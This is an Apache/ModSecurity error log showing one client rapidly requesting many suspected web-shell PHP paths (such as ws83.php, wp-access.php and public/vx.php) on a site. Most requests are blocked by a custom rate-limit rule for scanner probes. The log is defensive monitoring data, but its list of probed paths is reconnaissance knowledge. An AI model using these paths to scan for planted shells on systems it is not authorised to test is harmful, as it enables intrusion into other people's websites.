[Wed Mar 25 23:18:59.314636 2026] [:error] [pid 47989:tid 47995] [client 132.164.249.185:8793] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/as.php"] [unique_id "acP84yWKdJMhIccROjkXcQAAAUQ"]
[Wed Mar 25 23:18:59.906987 2026] [:error] [pid 892:tid 904] [client 132.164.249.185:8818] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/as.php"] [unique_id "acP84yT_G8WMU3T3yxrpBwAAAMY"]
[Wed Mar 25 23:19:00.423129 2026] [:error] [pid 47989:tid 48013] [client 132.164.249.185:8729] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "acP85CWKdJMhIccROjkXcgAAAVY"]
[Wed Mar 25 23:19:00.925759 2026] [:error] [pid 26321:tid 26348] [client 132.164.249.185:7105] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "acP85PKO65qqGZCSPZpucwAAAgc"]
[Wed Mar 25 23:19:01.428429 2026] [:error] [pid 47989:tid 48007] [client 132.164.249.185:7161] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "acP85SWKdJMhIccROjkXdQAAAVA"]
[Wed Mar 25 23:19:02.023660 2026] [:error] [pid 25967:tid 25990] [client 132.164.249.185:8830] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "acP85vg8Qtq7ZM4mSFmTXAAAA1I"]
[Wed Mar 25 23:19:02.538378 2026] [:error] [pid 892:tid 910] [client 132.164.249.185:8821] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "acP85iT_G8WMU3T3yxrpCgAAAMw"]
[Wed Mar 25 23:19:06.066978 2026] [:error] [pid 892:tid 908] [client 132.164.249.185:8782] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "acP86iT_G8WMU3T3yxrpDQAAAMo"]
[Wed Mar 25 23:19:06.602331 2026] [:error] [pid 25967:tid 25972] [client 132.164.249.185:8742] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "acP86vg8Qtq7ZM4mSFmTZAAAA0A"]
[Wed Mar 25 23:19:07.138870 2026] [:error] [pid 25967:tid 25990] [client 132.164.249.185:8756] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "acP86_g8Qtq7ZM4mSFmTaAAAA1I"]
[Wed Mar 25 23:19:07.655556 2026] [:error] [pid 25967:tid 25980] [client 132.164.249.185:7106] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "acP86_g8Qtq7ZM4mSFmTagAAA0g"]
[Wed Mar 25 23:19:08.217174 2026] [:error] [pid 25967:tid 25994] [client 132.164.249.185:8770] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "acP87Pg8Qtq7ZM4mSFmTbgAAA1Y"]
[Wed Mar 25 23:19:08.752489 2026] [:error] [pid 47946:tid 47950] [client 132.164.249.185:7113] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "acP87DipQTqBMSeKYheP5gAAAQI"]
[Wed Mar 25 23:19:09.291350 2026] [:error] [pid 26449:tid 26470] [client 132.164.249.185:8808] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "acP87dpZ2T15NDqzAjGX2AAAAlE"]
[Wed Mar 25 23:19:12.843548 2026] [:error] [pid 26449:tid 26472] [client 132.164.249.185:7104] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "acP88NpZ2T15NDqzAjGX4QAAAlM"]
[Wed Mar 25 23:19:13.368773 2026] [:error] [pid 26321:tid 26350] [client 132.164.249.185:8745] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "acP88fKO65qqGZCSPZpuggAAAgk"]
[Wed Mar 25 23:19:13.873706 2026] [:error] [pid 25967:tid 25994] [client 132.164.249.185:8796] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "acP88fg8Qtq7ZM4mSFmTdAAAA1Y"]
[Wed Mar 25 23:19:14.382901 2026] [:error] [pid 47989:tid 48006] [client 132.164.249.185:8711] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccs.php"] [unique_id "acP88iWKdJMhIccROjkXgQAAAU8"]
[Wed Mar 25 23:19:16.241077 2026] [:error] [pid 47989:tid 48015] [client 132.164.249.185:8768] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "acP89CWKdJMhIccROjkXhwAAAVg"]
[Wed Mar 25 23:19:16.741461 2026] [:error] [pid 25967:tid 25985] [client 132.164.249.185:8721] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "acP89Pg8Qtq7ZM4mSFmTdgAAA00"]
[Wed Mar 25 23:19:17.824172 2026] [:error] [pid 25967:tid 25987] [client 132.164.249.185:8807] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "acP89fg8Qtq7ZM4mSFmTfAAAA08"]
[Wed Mar 25 23:19:19.133450 2026] [:error] [pid 47989:tid 48002] [client 132.164.249.185:8815] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "acP89yWKdJMhIccROjkXiwAAAUs"]
[Wed Mar 25 23:19:19.718017 2026] [:error] [pid 25875:tid 25882] [client 132.164.249.185:7045] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws83.php"] [unique_id "acP89xJ38QkS3NyfshxW_gAAAoE"]
[Wed Mar 25 23:19:23.227830 2026] [:error] [pid 25875:tid 25893] [client 132.164.249.185:7048] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws83.php"] [unique_id "acP8-xJ38QkS3NyfshxXBAAAAow"]
[Wed Mar 25 23:19:23.730902 2026] [:error] [pid 25967:tid 25986] [client 132.164.249.185:8719] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws83.php"] [unique_id "acP8-_g8Qtq7ZM4mSFmTiwAAA04"]
[Wed Mar 25 23:19:24.364335 2026] [:error] [pid 892:tid 917] [client 132.164.249.185:8787] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws83.php"] [unique_id "acP8_CT_G8WMU3T3yxrpGAAAANI"]
[Wed Mar 25 23:19:24.886903 2026] [:error] [pid 892:tid 907] [client 132.164.249.185:8728] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "acP8_CT_G8WMU3T3yxrpGQAAAMk"]
[Wed Mar 25 23:19:25.398253 2026] [:error] [pid 25875:tid 25888] [client 132.164.249.185:7148] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "acP8_RJ38QkS3NyfshxXDAAAAoc"]
[Wed Mar 25 23:19:26.504135 2026] [:error] [pid 25875:tid 25884] [client 132.164.249.185:8758] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "acP8_hJ38QkS3NyfshxXDQAAAoM"]
[Wed Mar 25 23:19:27.823510 2026] [proxy_fcgi:error] [pid 25875:tid 25894] [client 132.164.249.185:8704] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:19:28.085101 2026] [proxy_fcgi:error] [pid 25875:tid 25898] [client 132.164.249.185:8704] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:19:28.344272 2026] [proxy_fcgi:error] [pid 25875:tid 25891] [client 132.164.249.185:8704] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:19:28.599068 2026] [proxy_fcgi:error] [pid 25875:tid 25888] [client 132.164.249.185:8704] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:19:28.911127 2026] [proxy_fcgi:error] [pid 25875:tid 25884] [client 132.164.249.185:8704] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:19:29.177390 2026] [proxy_fcgi:error] [pid 25875:tid 25895] [client 132.164.249.185:8704] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:19:29.442417 2026] [proxy_fcgi:error] [pid 25875:tid 25893] [client 132.164.249.185:8704] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:19:29.698102 2026] [proxy_fcgi:error] [pid 25875:tid 25897] [client 132.164.249.185:8704] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:19:30.545572 2026] [proxy_fcgi:error] [pid 25875:tid 25882] [client 132.164.249.185:8704] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:19:30.799664 2026] [proxy_fcgi:error] [pid 25875:tid 25883] [client 132.164.249.185:8704] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:19:31.108246 2026] [proxy_fcgi:error] [pid 25875:tid 25898] [client 132.164.249.185:8704] AH01071: Got error 'Primary script unknown'
[Wed Mar 25 23:19:31.363320 2026] [:error] [pid 25875:tid 25885] [client 132.164.249.185:8704] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "acP9AxJ38QkS3NyfshxXIQAAAoQ"]
[Wed Mar 25 23:19:31.919827 2026] [:error] [pid 47946:tid 47971] [client 132.164.249.185:8819] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "acP9AzipQTqBMSeKYheP6wAAARc"]
[Wed Mar 25 23:19:34.302949 2026] [:error] [pid 47989:tid 48010] [client 132.164.249.185:8726] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "acP9BiWKdJMhIccROjkXjwAAAVM"]
[Wed Mar 25 23:19:34.869669 2026] [:error] [pid 26269:tid 26293] [client 132.164.249.185:8799] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-access.php"] [unique_id "acP9Bkn7e-ZQbaIs7qzJdwAAAZE"]
[Wed Mar 25 23:19:35.548389 2026] [:error] [pid 26269:tid 26280] [client 132.164.249.185:8827] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Cap.php"] [unique_id "acP9B0n7e-ZQbaIs7qzJeAAAAYQ"]
[Wed Mar 25 23:19:36.048170 2026] [:error] [pid 26449:tid 26470] [client 132.164.249.185:8708] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Cap.php"] [unique_id "acP9CNpZ2T15NDqzAjGX7gAAAlE"]
[Wed Mar 25 23:19:37.616199 2026] [:error] [pid 26449:tid 26471] [client 132.164.249.185:7153] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Cap.php"] [unique_id "acP9CdpZ2T15NDqzAjGX8AAAAlI"]
[Wed Mar 25 23:19:38.178651 2026] [:error] [pid 47989:tid 48015] [client 132.164.249.185:8752] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/Cap.php"] [unique_id "acP9CiWKdJMhIccROjkXlAAAAVg"]
[Wed Mar 25 23:19:38.934394 2026] [:error] [pid 26449:tid 26476] [client 132.164.249.185:8707] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "acP9CtpZ2T15NDqzAjGX8wAAAlc"]
[Wed Mar 25 23:19:40.349902 2026] [:error] [pid 25967:tid 25988] [client 132.164.249.185:8709] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "acP9DPg8Qtq7ZM4mSFmTlQAAA1A"]
[Wed Mar 25 23:19:41.049768 2026] [:error] [pid 47989:tid 48007] [client 132.164.249.185:7121] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "acP9DSWKdJMhIccROjkXlgAAAVA"]
[Wed Mar 25 23:19:42.374392 2026] [:error] [pid 47946:tid 47966] [client 132.164.249.185:7110] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "acP9DjipQTqBMSeKYheP7QAAARI"]
[Wed Mar 25 23:19:43.203086 2026] [:error] [pid 26449:tid 26460] [client 132.164.249.185:8722] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "acP9D9pZ2T15NDqzAjGX9QAAAkc"]
[Wed Mar 25 23:19:43.716150 2026] [:error] [pid 47989:tid 47998] [client 132.164.249.185:7166] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "acP9DyWKdJMhIccROjkXnAAAAUc"]
[Wed Mar 25 23:19:45.351991 2026] [:error] [pid 47946:tid 47959] [client 132.164.249.185:7131] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "acP9ETipQTqBMSeKYheP7wAAAQs"]
[Wed Mar 25 23:19:45.891102 2026] [:error] [pid 26321:tid 26363] [client 132.164.249.185:7054] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "acP9EfKO65qqGZCSPZpulQAAAhY"]
[Wed Mar 25 23:19:46.447597 2026] [:error] [pid 26321:tid 26346] [client 132.164.249.185:8780] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acP9EvKO65qqGZCSPZpumAAAAgY"]
[Wed Mar 25 23:19:48.009895 2026] [:error] [pid 26449:tid 26475] [client 132.164.249.185:8746] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acP9FNpZ2T15NDqzAjGX-gAAAlY"]
[Wed Mar 25 23:19:48.571120 2026] [:error] [pid 25969:tid 26040] [client 132.164.249.185:8831] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acP9FBd3aEUmOfdKja8bWQAAA84"]
[Wed Mar 25 23:19:49.160943 2026] [:error] [pid 25969:tid 26038] [client 132.164.249.185:7120] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acP9FRd3aEUmOfdKja8bWgAAA8w"]
[Wed Mar 25 23:19:49.704411 2026] [:error] [pid 47989:tid 48015] [client 132.164.249.185:7150] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/155.php"] [unique_id "acP9FSWKdJMhIccROjkXngAAAVg"]
[Wed Mar 25 23:19:50.292287 2026] [:error] [pid 25875:tid 25903] [client 132.164.249.185:8751] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/155.php"] [unique_id "acP9FhJ38QkS3NyfshxXJQAAApY"]
[Wed Mar 25 23:19:50.817032 2026] [:error] [pid 25875:tid 25887] [client 132.164.249.185:8760] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/155.php"] [unique_id "acP9FhJ38QkS3NyfshxXJwAAAoY"]
[Wed Mar 25 23:19:51.323837 2026] [:error] [pid 25875:tid 25882] [client 132.164.249.185:8805] [client 132.164.249.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/155.php"] [unique_id "acP9FxJ38QkS3NyfshxXKgAAAoE"]
